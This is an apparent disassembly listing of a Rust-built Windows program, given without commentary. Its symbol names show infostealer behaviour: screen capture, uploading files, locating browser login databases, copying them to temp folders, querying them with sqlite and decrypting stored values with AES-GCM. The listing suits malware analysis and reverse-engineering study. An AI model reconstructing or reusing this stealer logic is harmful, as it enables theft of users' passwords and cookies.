jmp 0x1000e261
lea ecx, [esp + 0xe8]
lea edx, [esp + 0x1f4]
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::hd8c9d1987273cc91
mov edx, dword [esp + 0x18]
mov ecx, ebx
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
jmp 0x1000e37d
call sym.windows::core::error::Error::from_win32::h23f6ff9199e48659
mov ecx, eax
call sym.anyhow::error::__LT_impl_u20_core..convert..From_LT_E_GT__u20_for_u20_anyhow..Error_GT_::from::h210af75f184c2c21
mov dword [esp + 0x18], eax
jmp 0x1000e371
xor ecx, ecx
mov dword [esp + 0x320], 0x101bbb94
lea eax, [esp + 0x60]
inc ecx
mov dword [esp + 0x160], eax
lea eax, [esp + 0x160]
mov dword [esp + 0x164], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_u32_GT_::fmt::hebf983c945178ef0
mov dword [esp + 0x324], ecx
and dword [esp + 0x330], 0
mov dword [esp + 0x328], eax
mov dword [esp + 0x32c], ecx
mov ecx, edi
call sym.anyhow::__private::format_err::he4053f4ac2453e1a
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x38]
call sym.__ZN4core3ptr123drop_in_place_LT_alloc..boxed..Box_LT_alloc..vec..Vec_LT_windows..Windows..Win32..Graphics..Gdi..MONITORINFOEX
jmp 0x1000e371
call sym.windows::core::error::Error::from_win32::h23f6ff9199e48659
mov ecx, eax
call sym.anyhow::error::__LT_impl_u20_core..convert..From_LT_E_GT__u20_for_u20_anyhow..Error_GT_::from::h210af75f184c2c21
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x74]
jmp 0x1000e352
mov dword [esp + str.Get_RGBA_data_failed], 0x101bbbb0
mov dword [esp + 0x164], 1
and dword [esp + 0x170], 0
mov dword [esp + 0x168], str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g
and dword [esp + 0x16c], 0
lea ecx, [esp + 0x160]
call sym.anyhow::__private::format_err::he4053f4ac2453e1a
mov ecx, dword [esp + 0x60]
mov dword [esp + 0x18], eax
mov edx, ebx
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov eax, esi
mov esi, dword [esp + 0x154]
lea edi, [esp + 0x320]
push eax
call sub.gdi32.dll_DeleteObject
push esi
call sub.gdi32.dll_DeleteDC
push dword [esp + 0x158]
call sub.gdi32.dll_DeleteDC
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx]
push ecx
call dword [eax]
add esp, 4
mov eax, dword [esp + 0x2ec]
mov ecx, dword [esp + 0x78]
jmp 0x1000d81e
test ecx, ecx
je 0x1000e3a8
push 4
pop edx
mov ecx, dword [esp + 0x15c]
push dword [esp + 0x308]
call sym.__LT_alloc..alloc..Global_u20_as_u20_core..alloc..Allocator_GT_::deallocate::hcacc92fefce56ab3
pop eax
mov eax, dword [esp + 0xe8]
mov ecx, dword [esp + 0xec]
imul edx, dword [esp + 0xf0], 0xc
lea edi, [esp + 0x1f0]
mov dword [esp + 0x38], eax
mov eax, dword [ebp + 8]
add edx, ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x30], edx
mov esi, dword [eax + 4]
mov eax, dword [eax + 8]
mov dword [esp + 0x18], eax
mov eax, ecx
mov dword [esp + 0x14], esi
cmp eax, edx
je 0x1000e520
mov ecx, dword [eax]
lea ebx, [eax + 0xc]
cmp ecx, 0x80000000
mov dword [esp + 0x20], ecx
je 0x1000e522
mov ecx, dword [eax + 4]
mov eax, dword [eax + 8]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
push 7
pop ebx
sub ebx, 1
jb 0x1000e506
mov dword [esp + str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g], 0x10167fb4
mov dword [esp + 0x324], 3
and dword [esp + 0x330], 0
lea eax, [esp + 0x31c]
mov dword [esp + 0x328], edi
mov dword [esp + 0x32c], 2
mov dword [esp + 0x1f0], eax
lea eax, [esp + 0x540]
mov dword [esp + 0x1f4], sym.__LT__RF_T_u20_as_u20_core..fmt..Display_GT_::fmt::h47856111cb2a05ae
mov dword [esp + 0x1f8], eax
mov dword [esp + 0x1fc], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_i32_GT_::fmt::hd5981698a124ca9f
lea esi, [esp + 0x320]
lea ecx, [esp + 0x624]
mov edx, esi
call sym.alloc::fmt::format::h28429d8526483b61
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x324]
push dword [esp + 0x10]
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..clone..Clone_GT_::clone::hba26fd587d7d825d
pop eax
mov dword [esp + 0x320], 1
mov edx, dword [esp + 0x14]
mov ecx, edi
push dword [esp + 0x18]
call dbg.clone
pop eax
mov ecx, dword [esp + 0x314]
mov edx, dword [esp + 0x318]
push edi
push esi
lea eax, [esp + 0x62c]
push eax
call sym.super::send_file::h0565cceb41ca16d1
add esp, 0xc
test al, al
jne 0x1000e4f8
lea edi, [esp + 0x1f0]
jmp 0x1000e418
inc dword [esp + 0x540]
lea edi, [esp + 0x1f0]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0xc]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x30]
jmp 0x1000e3e6
mov ebx, edx
sub edx, ebx
mov eax, edx
xor edx, edx
push 0xc
pop ecx
div ecx
add ebx, 4
mov esi, eax
sub esi, 1
jb 0x1000e546
mov ecx, dword [ebx - 4]
mov edx, dword [ebx]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
add ebx, 0xc
jmp 0x1000e532
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x24]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h10ba6d0d437bfc7f
and dword [esp + 0x548], 0
mov dword [esp + 0x544], 1
push 4
pop esi
mov dword [esp + 0x54c], esi
and dword [esp + 0x550], 0
lea ebx, [esp + 0x118]
mov ecx, ebx
call sym.super::targets::extractTargetsPath::targetsPathLogin_EXIST::hacbff416799cd6be
lea eax, [esp + 0x90]
mov edx, dword [ebx + 4]
lea edi, [esp + 0x160]
and dword [eax], 0
mov dword [eax + 4], esi
mov esi, dword [ebx + 8]
and dword [eax + 8], 0
mov eax, dword [ebx]
mov dword [esp + 0x1f0], edx
shl esi, 5
mov dword [esp + 0x1f8], eax
lea ecx, [edx + esi]
mov eax, esi
lea esi, [esp + 0x1f0]
mov dword [esp + 0xe0], ecx
mov dword [esp + 0x1fc], ecx
lea ecx, [edx + 0x20]
test eax, eax
je 0x1000e917
mov ebx, dword [edx]
cmp ebx, 0x80000000
je 0x1000e920
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x10]
mov dword [esp + 0x30], ebx
mov ebx, dword [edx + 4]
mov esi, dword [edx + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], eax
mov eax, dword [edx + 0x14]
mov dword [esp + 0x20], eax
mov eax, dword [edx + 0xc]
mov dword [esp + 0x48], eax
mov ecx, edi
mov edx, ebx
mov dword [esp + 0x24], esi
push esi
call sym.__LT_T_u20_as_u20_alloc..string..ToString_GT_::to_string::h28222f6bb6d50481
pop eax
mov esi, dword [esp + 0x168]
mov edx, dword [esp + 0x164]
lea ecx, [esp + 0x320]
mov dword [esp + 0xc], edx
push 7
push 0x10167af3
push 0xb
push 0x10167ad8
mov dword [esp + 0x3c], esi
push esi
call sym.alloc::str::__LT_impl_u20_str_GT_::replace::h2f2903ae104ffeb4
add esp, 0x14
mov eax, dword [esp + 0x320]
mov esi, dword [esp + 0x324]
mov edi, dword [esp + 0x328]
mov dword [esp + 0x38], eax
mov ecx, esi
mov edx, edi
call sym.std::path::Path::exists::hefe3e060fd7ab94b
test al, al
je 0x1000e6e6
mov eax, dword [esp + 0x30]
mov dword [esp + 0x320], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x324], ebx
mov ebx, dword [esp + 0x38]
mov dword [esp + 0x328], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x32c], eax
mov dword [esp + 0x330], ebx
mov dword [esp + 0x334], esi
mov dword [esp + 0x338], edi
mov byte [esp + 0x33c], 1
lea ecx, [esp + 0x90]
lea edx, [esp + 0x320]
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::hbf6258311b35d25e
lea esi, [esp + 0x1f0]
jmp 0x1000e86e
mov dword [esp + 0x34], ebx
mov dword [esp + 0x28], esi
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x320]
push 0xf
push 0x10167afa
push 0xb
push 0x10167ad8
push dword [esp + 0x3c]
call sym.alloc::str::__LT_impl_u20_str_GT_::replace::h2f2903ae104ffeb4
add esp, 0x14
mov ebx, dword [esp + 0x320]
mov esi, dword [esp + 0x324]
mov edi, dword [esp + 0x328]
mov ecx, esi
mov edx, edi
call sym.std::path::Path::exists::hefe3e060fd7ab94b
test al, al
je 0x1000e796
mov eax, dword [esp + 0x30]
mov dword [esp + 0x320], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x324], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x328], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x32c], eax
mov dword [esp + 0x330], ebx
mov dword [esp + 0x334], esi
mov dword [esp + 0x338], edi
mov byte [esp + 0x33c], 1
lea ecx, [esp + 0x90]
lea edx, [esp + 0x320]
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::hbf6258311b35d25e
jmp 0x1000e85a
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x74], esi
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x320]
push 0x17
push 0x10167b09
push 0xb
push 0x10167ad8
push dword [esp + 0x3c]
call sym.alloc::str::__LT_impl_u20_str_GT_::replace::h2f2903ae104ffeb4
add esp, 0x14
mov eax, dword [esp + 0x320]
mov ebx, dword [esp + 0x324]
mov edi, dword [esp + 0x328]
mov dword [esp + 0x2c], eax
mov ecx, ebx
mov edx, edi
call sym.std::path::Path::exists::hefe3e060fd7ab94b
mov esi, dword [esp + 0x34]
test al, al
je 0x1000e8b3
mov eax, dword [esp + 0x30]
mov dword [esp + 0x320], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x324], esi
mov esi, dword [esp + 0x2c]
mov dword [esp + 0x328], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x32c], eax
mov dword [esp + 0x330], esi
mov dword [esp + 0x334], ebx
mov dword [esp + 0x338], edi
mov byte [esp + 0x33c], 1
lea ecx, [esp + 0x90]
lea edx, [esp + 0x320]
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::hbf6258311b35d25e
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x74]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x38]
lea esi, [esp + 0x1f0]
mov edx, dword [esp + 0x28]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x160]
lea edi, [esp + 0x160]
lea ebx, [esp + 0x118]
mov edx, dword [esp + 0xc]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
add edx, 0x20
add eax, 0xffffffe0
add ecx, 0x20
jmp 0x1000e5d4
mov ecx, dword [esp + 0x2c]
mov edx, ebx
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x74]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x28]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x160]
mov edx, dword [esp + 0xc]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x30]
mov edx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea esi, [esp + 0x1f0]
lea edi, [esp + 0x160]
lea ebx, [esp + 0x118]
jmp 0x1000e899
mov eax, dword [esp + 0xe0]
jmp 0x1000e929
mov eax, ecx
lea ebx, [esp + 0x118]
lea ecx, [esp + 0x1f0]
mov dword [ecx + 4], eax
call sym.__ZN4core3ptr107drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT__LP_std..path..PathBuf_C_std..path..PathBuf_RP__GT__GT_17h
mov edx, dword [esp + 0x98]
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x90]
shl edx, 5
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], ecx
add edx, eax
mov dword [esp + 0x74], edx
mov dword [esp + 0x8c], edx
cmp eax, dword [esp + 0x74]
je 0x1000f801
lea edi, [eax + 0x20]
mov dword [esp + 0x84], edi
mov edx, dword [eax + 0x1c]
mov ecx, dword [eax]
mov dword [esp + 0x208], edx
cmp ecx, 0x80000000
movsd xmm0, qword [eax + 0x14]
movsd qword [esp + 0x200], xmm0
movsd xmm0, qword [eax + 0xc]
movsd qword [esp + 0x1f8], xmm0
movsd xmm0, qword [eax + 4]
movsd qword [esp + 0x1f0], xmm0
je 0x1000f801
add eax, 4
mov dword [esp + 0x59c], ecx
lea edx, [esp + 0x5a0]
movq xmm2, qword [esi + 0xc]
movsd xmm1, qword [esi + 0x14]
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov ecx, sym.__LT_std..path..PathBuf_u20_as_u20_core..fmt..Debug_GT_::fmt::he2eb072cc4dda51e
movsd xmm0, qword [eax]
lea eax, [esp + 0x59c]
mov dword [esp + str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g], 0x101680f8
mov dword [esp + 0x164], 3
and dword [esp + 0x170], 0
mov dword [esp + 0x168], ebx
mov dword [esp + 0x60], str.stdoutlibrary_std_srciomod.rs
movsd qword [esp + 0xf0], xmm1
movq qword [esp + 0xe8], xmm2
mov dword [esp + 0x16c], 2
mov dword [esp + 0x64], 6
mov dword [esp + 0x118], eax
lea eax, [esp + 0xe8]
mov dword [esp + 0x11c], ecx
mov dword [esp + 0x120], eax
mov dword [esp + 0x124], ecx
movsd qword [edx], xmm0
mov al, byte [0x10226071]
mov dword [esp + 0x28], edi
test al, al
je 0x1000ead4
call sym.std::io::stdio::OUTPUT_CAPTURE::__getit::he9a33f44f6d1c60f
test eax, eax
je 0x1000ead4
mov edx, dword [eax]
and dword [eax], 0
mov ebx, eax
test edx, edx
je 0x1000ead4
lea eax, [edx + 8]
mov cl, 1
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], eax
xor eax, eax
lock cmpxchg byte [edx + 8], cl
jne 0x1000f7f3
mov eax, dword [0x10226110]
lea edi, [esp + 0x160]
test eax, 0x7fffffff
je 0x1000f694
call dbg.is_zero_slow_path
xor al, 1
mov dword [esp + 0x14], eax
jmp 0x1000f69c
mov eax, dword [0x10226074]
lea edi, [esp + 0x320]
lea esi, [esp + 0x90]
cmp eax, 3
je 0x1000eafa
mov eax, dword [0x10226074]
cmp eax, 3
jne 0x1000f792
mov eax, dword [0x101631d4]
test eax, eax
je 0x1000f774
dec eax
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 2
lea ebx, [esp + 0x118]
jb 0x1000eb22
cmp byte [eax + 4], 0
mov esi, eax
jne 0x1000eb84
mov eax, dword [0x101631d4]
test eax, eax
je 0x1000f783
dec eax
push eax
call sub.kernel32.dll_TlsGetValue
test eax, eax
je 0x1000eb46
mov esi, eax
cmp eax, 1
jne 0x1000eb7e
jmp 0x10010345
mov al, byte [0x10226114]
xor ecx, ecx
push 8
pop edx
call dbg.process_heap_alloc
test eax, eax
je 0x1001033a
mov dword [eax], 0x101631d4
mov byte [eax + 4], 0
mov esi, eax
mov eax, dword [0x101631d4]
test eax, eax
je 0x1000f7e4
dec eax
push esi
push eax
call sub.kernel32.dll_TlsSetValue
mov word [esi + 4], 1
mov eax, dword [0x10226078]
add esi, 5
cmp eax, esi
jne 0x1000eb9d
mov eax, dword [0x1022607c]
inc eax
jne 0x1000ebb8
jmp 0x100102b4
xor eax, eax
mov cl, 1
lock cmpxchg byte [0x10226080], cl
jne 0x1000f7d4
xor eax, eax
mov dword [0x10226078], esi
inc eax
mov dword [0x1022607c], eax
lea eax, [0x10226078]
lea esi, [esp + 0x1f0]
mov dword [esp + 0x90], eax
lea eax, [esp + 0x90]
mov dword [esp + 0x328], eax
mov byte [esp + 0x320], 4
mov edx, 0x101bd64c
lea eax, [esp + 0x160]
mov ecx, edi
push eax
call sym.core::fmt::write::h4bd3fd172bf5e536
pop ecx
test al, al
je 0x1000ec24
cmp byte [esp + 0x320], 4
jne 0x1000ec81
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x40], 0x101bdf7c
and eax, 0xffffff00
or eax, 2
mov dword [esp + 0x2c], eax
jmp 0x1000ec97
mov eax, dword [esp + 0x2c]
and eax, 0xffffff00
or eax, 4
cmp byte [esp + 0x320], 3
mov dword [esp + 0x2c], eax
jne 0x1000ec97
mov esi, dword [esp + 0x324]
mov ebx, dword [esi + 4]
mov edi, dword [esi]
mov eax, dword [ebx]
push edi
call eax
pop eax
cmp dword [ebx + 4], 0
je 0x1000ec60
mov edx, dword [ebx + 8]
mov ecx, edi
call sym.___rust_dealloc
mov ecx, esi
push 4
pop edx
call sym.___rust_dealloc
lea esi, [esp + 0x1f0]
lea edi, [esp + 0x320]
lea ebx, [esp + 0x118]
jmp 0x1000ec97
mov eax, dword [esp + 0x320]
mov ecx, dword [esp + 0x324]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x40], ecx
mov eax, dword [esp + 0x90]
dec dword [eax + 4]
jne 0x1000ecbd
mov dword [eax], 0
xor ecx, ecx
xchg byte [eax + 8], cl
cmp cl, 2
jne 0x1000ecbd
add eax, 8
push eax
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [esp + 0x2c], 4
jne 0x1001020b
movsd xmm0, qword [esp + 0x59c]
movsd xmm1, qword [esp + 0x5a4]
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
lea ecx, [esp + 0x554]
mov edx, edi
call sym.super::find::key_encrypted::hea3d0246650a9ac7
mov eax, dword [esp + 0x554]
mov edx, dword [esp + 0x558]
cmp eax, 0x80000000
jne 0x1000ed35
mov ecx, 0x80000000
call sym.core::ptr::drop_in_place_LT_alloc..borrow..Cow_LT_str_GT__GT_::h35a67361265e5661
mov ecx, dword [esp + 0xe8]
mov edx, dword [esp + 0xec]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov eax, dword [esp + 0x28]
jmp 0x1000e972
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x55c]
mov ebx, edi
mov edi, dword [esp + 0xec]
and dword [esp + 0x2fc], 0
mov dword [esp + 0x300], 1
and dword [esp + 0x304], 0
mov dword [esp + 0x30], edx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0xe8]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xf0]
mov dword [esp + 0xc], eax
call sym.rand::rngs::thread::thread_rng::h8a51dc0e42d378a5
mov esi, eax
mov ecx, eax
mov edx, 0x3e8
call sym.rand::rng::Rng::gen_range::h288c91f6bf442ca2
mov dword [esp + 0x560], eax
mov ecx, esi
call sym.__LT_alloc..rc..Rc_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1ddcbfe3035ddd0a
mov ecx, ebx
mov edx, 0x10167dd8
push 0xb
call sym.tempdir::TempDir::new::hee8d9f529dc63de4
pop eax
cmp dword [esp + 0x320], 0x80000001
je 0x10010277
movsd xmm0, qword [esp + 0x320]
movsd xmm1, qword [esp + 0x328]
movsd qword [esp + 0x68], xmm1
movsd qword [esp + 0x60], xmm0
lea ecx, [esp + 0x60]
call sym.tempdir::TempDir::path::h9d453d3f674ee437
mov dword [esp + 0x320], 0x10167dfc
mov dword [esp + 0x324], 2
and dword [esp + 0x330], 0
mov esi, eax
lea eax, [esp + 0x560]
mov dword [esp + 0x10], edx
mov dword [esp + 0x160], eax
lea eax, [esp + 0x160]
mov dword [esp + 0x164], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_i32_GT_::fmt::hd5981698a124ca9f
mov dword [esp + 0x328], eax
mov dword [esp + 0x32c], 1
lea ebx, [esp + 0x5ac]
lea edx, [esp + 0x320]
mov ecx, ebx
call sym.alloc::fmt::format::h28429d8526483b61
lea ecx, [esp + 0x5c4]
mov edx, esi
push ebx
push dword [esp + 0x14]
call sym.std::path::Path::join::ha4db8f766873c95d
pop eax
pop ecx
mov ebx, dword [esp + 0x5c8]
lea esi, [esp + 0x48]
mov edx, edi
mov ecx, esi
push dword [esp + 0x5cc]
push ebx
mov eax, dword [esp + 0x14]
push eax
call sym.std::fs::copy::he4bd76a6ed8927ae
add esp, 0xc
mov eax, dword [esp + 0x48]
mov dword [esp + 0x34], edi
mov dword [esp + 0x7c], ebx
test eax, eax
mov dword [esp + 0x44], eax
je 0x1000f003
lea ecx, [esp + 0x320]
mov edx, 0x10167e1c
push 1
call sym.tempdir::TempDir::new::hee8d9f529dc63de4
pop eax
cmp dword [esp + 0x320], 0x80000001
lea ecx, [esp + 0x118]
je 0x1001030a
movsd xmm0, qword [esp + 0x320]
movsd xmm1, qword [esp + 0x328]
movsd qword [esp + 0x120], xmm1
movsd qword [esp + 0x118], xmm0
call sym.tempdir::TempDir::path::h9d453d3f674ee437
mov dword [esp + 0x320], 0x10167e38
mov dword [esp + 0x324], 2
and dword [esp + 0x330], 0
mov esi, eax
lea eax, [esp + 0x560]
mov dword [esp + 0x10], edx
mov dword [esp + 0x160], eax
lea eax, [esp + 0x160]
mov dword [esp + 0x164], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_i32_GT_::fmt::hd5981698a124ca9f
mov dword [esp + 0x328], eax
mov dword [esp + 0x32c], 1
lea ebx, [esp + 0x56c]
lea edx, [esp + 0x320]
mov ecx, ebx
call sym.alloc::fmt::format::h28429d8526483b61
lea edi, [esp + 0x608]
mov edx, esi
mov ecx, edi
push ebx
push dword [esp + 0x14]
call sym.std::path::Path::join::ha4db8f766873c95d
pop eax
pop ecx
mov edx, dword [esp + 0x34]
lea esi, [esp + 0x90]
mov ecx, esi
push dword [esp + 0x610]
push dword [esp + 0x610]
push dword [esp + 0x14]
call sym.std::fs::copy::he4bd76a6ed8927ae
add esp, 0xc
lea ecx, [esp + 0x160]
mov edx, edi
call sym.sqlite::connection::Connection::open::h741def09b1f4e26b
cmp dword [esp + 0x160], 2
jne 0x100102c6
lea ecx, [esp + 0x164]
mov eax, dword [ecx + 8]
movsd xmm0, qword [ecx]
mov dword [esp + 0x2f8], eax
movsd qword [esp + 0x2f0], xmm0
mov ecx, esi
call sym.core::ptr::drop_in_place_LT_core..result..Result_LT_u64_C_std..io..error..Error_GT__GT_::hf9d97e6e74177711
lea ecx, [esp + 0x118]
call sym.core::ptr::drop_in_place_LT_tempdir..TempDir_GT_::hef93d5e206b085b6
mov edi, esi
lea esi, [esp + 0x48]
lea ebx, [esp + 0x320]
jmp 0x1000f050
lea ecx, [esp + 0x160]
lea edx, [esp + 0x5c4]
call sym.sqlite::connection::Connection::open::h741def09b1f4e26b
cmp dword [esp + 0x160], 2
jne 0x10010369
lea ecx, [esp + 0x164]
lea ebx, [esp + 0x320]
lea edi, [esp + 0x90]
mov eax, dword [ecx + 8]
movsd xmm0, qword [ecx]
mov dword [esp + 0x2f8], eax
movsd qword [esp + 0x2f0], xmm0
mov edx, dword [esp + 0x2f8]
mov ecx, edi
push 0x5b
push 0x10167e58
call sym.sqlite::connection::Connection::prepare::h87e83596fac944de
pop eax
pop ecx
cmp dword [esp + 0x90], 2
jne 0x1000f42a
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x98]
and dword [esp + 0x2dc], 0
mov dword [esp + 0x2e0], 4
and dword [esp + 0x2e4], 0
lea edi, [esp + 0x160]
mov dword [esp + 0xc], eax
mov dword [esp + 0x24], ecx
mov esi, ebx
mov edx, dword [esp + 0xc]
mov ecx, edi
push dword [esp + 0x24]
call sym.sqlite::statement::Statement::next::h7f4306fc55232a2b
pop eax
cmp dword [esp + 0x160], 2
jne 0x1000fed5
cmp byte [esp + 0x164], 0
jne 0x1000f473
mov ebx, dword [esp + 0xc]
mov ecx, edi
mov edx, ebx
push 0
call sym.sqlite::statement::Statement::read::h54851bf1c05ecabd
pop eax
cmp dword [esp + 0x160], 2
jne 0x1000ff5d
lea esi, [esp + 0x164]
mov eax, dword [esi + 8]
movsd xmm0, qword [esi]
mov dword [esp + 0x1e8], eax
movsd qword [esp + 0x1e0], xmm0
push 1
push ebx
call sym._sqlite3_column_int64
pop ecx
pop ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
mov ecx, edi
mov edx, ebx
push 2
call sym.sqlite::statement::Statement::read::h54851bf1c05ecabd
pop eax
cmp dword [esp + 0x160], 2
jne 0x1000ffc4
mov eax, dword [esi + 8]
movsd xmm0, qword [esi]
mov dword [esp + 0x148], eax
movsd qword [esp + 0x140], xmm0
push 3
push ebx
call sym._sqlite3_column_int64
pop ecx
pop ecx
mov edi, eax
mov dword [esp + 0x20], edx
push 4
push ebx
call sym._sqlite3_column_int64
pop ecx
pop ecx
mov esi, edx
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x160]
mov edx, ebx
push 5
call sym.sqlite::statement::Statement::read::h54851bf1c05ecabd
pop eax
cmp dword [esp + 0x160], 2
jne 0x10010008
lea ecx, [esp + 0x164]
mov eax, dword [ecx + 8]
movsd xmm0, qword [ecx]
mov dword [esp + 0x100], eax
movsd qword [esp + 0xf8], xmm0
lea ecx, [esp + 0x160]
mov edx, ebx
push 6
call sym.sqlite::statement::Statement::read::h0ad44a654b3eaedd
pop eax
cmp dword [esp + 0x160], 2
jne 0x1000ff19
xor edi, 1
xor eax, eax
mov ecx, dword [esp + 0x164]
mov edx, str.TRUEFALSE
mov ebx, dword [esp + 0x18]
or edi, dword [esp + 0x20]
mov edi, dword [esp + 0x168]
mov dword [esp + 0x1c], ecx
mov ecx, 0x10167f08
sete al
cmove ecx, edx
xor eax, 5
mov dword [esp + 0x5d4], ecx
add ebx, 0xb779c000
mov dword [esp + 0x5d8], eax
mov eax, dword [esp + 0x16c]
adc esi, 0xffd6a169
mov dword [esp + 0x20], eax
push 0
push 2
push esi
push ebx
call sym.___divdi3
add esp, 0x10
cmp ebx, 0xffffffff
mov ecx, 0
sbb esi, 0xffffffff
cmovl eax, ecx
cmovl edx, ecx
mov dword [esp + 0x5bc], edx
mov dword [esp + 0x5b8], eax
mov edx, dword [esp + 0x30]
lea ebx, [esp + 0x320]
mov ecx, ebx
push dword [esp + 0x20]
mov dword [esp + 0x1c], edi
push edi
push dword [esp + 0x40]
call sym.super::aesdescrypt::aes_gcm_256::haca53c16321a178a
add esp, 0xc
cmp dword [esp + 0x320], 0x80000000
je 0x1000ffa6
mov ecx, dword [esp + 0x10]
xor eax, eax
mov edx, str.TRUEFALSE
movsd xmm0, qword [esp + 0x320]
mov dword [esp + str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g], 0x10167f24
xor ecx, 1
movsd qword [esp + 0x108], xmm0
or ecx, dword [esp + 0x14]
mov ecx, dword [esp + 0x328]
mov dword [esp + 0x110], ecx
mov ecx, 0x10167f08
sete al
cmove ecx, edx
xor eax, 5
mov edx, sym.__LT__RF_T_u20_as_u20_core..fmt..Display_GT_::fmt::h2afcff67f3b42897
mov dword [esp + 0x564], ecx
mov dword [esp + 0x568], eax
lea eax, [esp + 0x1e0]
mov ecx, sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_::fmt::hdff27194fd61d0e6
mov dword [esp + 0x320], eax
lea eax, [esp + 0x564]
mov dword [esp + 0x324], ecx
mov dword [esp + 0x328], eax
lea eax, [esp + 0x140]
mov dword [esp + 0x32c], edx
mov dword [esp + 0x330], eax
lea eax, [esp + 0x5d4]
mov dword [esp + 0x334], ecx
mov dword [esp + 0x338], eax
lea eax, [esp + 0x5b8]
mov dword [esp + 0x33c], edx
mov dword [esp + 0x340], eax
lea eax, [esp + 0xf8]
mov dword [esp + 0x344], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_i64_GT_::fmt::h984119aeadf55004
mov dword [esp + 0x348], eax
lea eax, [esp + 0x108]
mov dword [esp + 0x34c], ecx
mov dword [esp + 0x350], eax
mov dword [esp + 0x354], ecx
push 7
pop eax
mov dword [esp + 0x164], eax
and dword [esp + 0x170], 0
mov dword [esp + 0x168], ebx
